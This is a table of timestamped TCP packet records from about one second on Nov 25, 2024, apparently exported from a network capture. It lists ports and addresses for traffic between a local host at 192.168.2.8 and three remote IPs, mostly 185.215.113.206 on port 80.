Nov 25, 2024 12:08:52.233458042 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.233642101 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.233685970 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.234105110 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.234149933 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.234189034 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.234240055 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.234879971 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.234924078 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.234980106 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.235038042 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.235722065 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.235780954 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.235840082 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.235886097 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.236655951 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.236715078 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.236757040 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.236794949 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.237503052 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.237554073 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.237559080 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.237615108 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.238358974 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.238403082 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.238451958 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.238493919 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.239284039 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.239337921 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.239378929 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.239420891 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.240130901 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.240175962 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.240298033 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.240474939 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.240967035 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.241072893 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.241101027 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.241120100 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.241831064 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.241950989 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.242003918 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.242732048 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.242798090 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.242844105 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.243710041 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.243767977 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.243819952 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.244488955 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.244544029 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.244652033 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.244697094 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.245369911 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.245424032 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.245457888 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.245615959 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.246208906 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.246324062 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.246342897 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.246393919 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.247073889 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.247127056 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.247184992 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.247220039 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.247956038 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.248006105 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.248056889 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.248102903 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.248814106 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.248874903 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.248929024 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.249222040 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.249687910 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.249742031 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.249784946 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.249876976 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.261424065 CET	49791	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:52.280555010 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:52.280575037 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:52.280646086 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:52.280886889 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:52.280913115 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:52.281121016 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:52.281306982 CET	49810	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:52.281320095 CET	443	49810	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:52.281419992 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:52.281435013 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:52.307332993 CET	443	49791	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:52.406714916 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.406790018 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.406842947 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.407067060 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.407140017 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.407190084 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.407325029 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.407414913 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.408360958 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.408422947 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.408490896 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.408689022 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.409012079 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.409058094 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.409147978 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.409199953 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.409871101 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.409926891 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.410013914 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.410047054 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.410590887 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.410728931 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.410737038 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.410809994 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.411498070 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.411551952 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.411639929 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.412486076 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.412533045 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.412662983 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.412939072 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.413259983 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.413312912 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.413382053 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.413439989 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.414146900 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.414203882 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.414338112 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.414388895 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.415059090 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.415072918 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.415124893 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.416071892 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.416194916 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.416254044 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.416306019 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.416939020 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.417052984 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.417082071 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.417126894 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.417685986 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.417809963 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.417936087 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.418056965 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.418945074 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.419001102 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.419060946 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.419104099 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.419712067 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.419764996 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.419852972 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.419886112 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.420628071 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.420641899 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.420681953 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.421196938 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.421210051 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.421256065 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.422585011 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.422636032 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.422724962 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.422836065 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.423306942 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.423428059 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.423461914 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.423505068 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.424279928 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.424340963 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.424408913 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.424505949 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.424877882 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.424891949 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.424933910 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.425528049 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.425632000 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.425690889 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.425789118 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.426318884 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.426383018 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.426450968 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.426628113 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.427229881 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.427242994 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.427294970 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.427586079 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.427671909 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.427758932 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.427802086 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.428642035 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.428759098 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.428808928 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.429687023 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.429740906 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.429780960 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.429825068 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.430759907 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.430855036 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.430912971 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.431603909 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.431654930 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.431718111 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.431832075 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.432425976 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.432456017 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.432492018 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.432506084 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.433190107 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.433248043 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.433254004 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.433583021 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.433922052 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.433954000 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.433988094 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.434547901 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.434612036 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.434643030 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.434686899 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.435354948 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.435393095 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.435432911 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.435482979 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.436053991 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.436100960 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.436216116 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.436279058 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.436954975 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.437012911 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.437056065 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.437098980 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.437850952 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.437897921 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.437941074 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.437983990 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.438802004 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.438860893 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.438867092 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.438996077 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.442318916 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.442368031 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.442590952 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.442609072 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.442620993 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.442663908 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.442672014 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.442684889 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.442749977 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.442787886 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.442800999 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.442826986 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.442852020 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.443873882 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.443931103 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.444000959 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.444196939 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.444785118 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.444797039 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.444844961 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.445677996 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.445736885 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.445820093 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.445975065 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.446331978 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.446378946 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.446397066 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.446588993 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.447299004 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.447354078 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.447427988 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.447474003 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.448177099 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.448189974 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.448244095 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.448268890 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.449054956 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.449105978 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.449183941 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.449340105 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.449805021 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.449817896 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.449858904 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.449871063 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.450692892 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.450747013 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.450862885 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.450979948 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.451560020 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.451630116 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.451716900 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.451751947 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.452517033 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.452569008 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.549839020 CET	49811	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:52.549881935 CET	443	49811	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:52.550422907 CET	49811	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:52.550654888 CET	49811	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:52.550667048 CET	443	49811	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:52.581121922 CET	443	49791	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:52.581372976 CET	443	49791	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:52.581437111 CET	49791	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:52.585076094 CET	49791	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:52.585098982 CET	443	49791	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:52.607115030 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.607187033 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.607184887 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.607229948 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.607374907 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.607428074 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.607562065 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.607616901 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.608268023 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.608340979 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.608469963 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.608545065 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.609102964 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.609153032 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.609167099 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.609199047 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.609973907 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.610019922 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.610047102 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.610073090 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.610843897 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.610899925 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.611057997 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.611162901 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.611711025 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.611768961 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.611895084 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.611949921 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.612584114 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.612649918 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.612689018 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.612785101 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.613440990 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.613492966 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.613552094 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.613595009 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.614326000 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.614379883 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.614408970 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.614454985 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.615185022 CET	80	49744	185.215.113.206	192.168.2.8
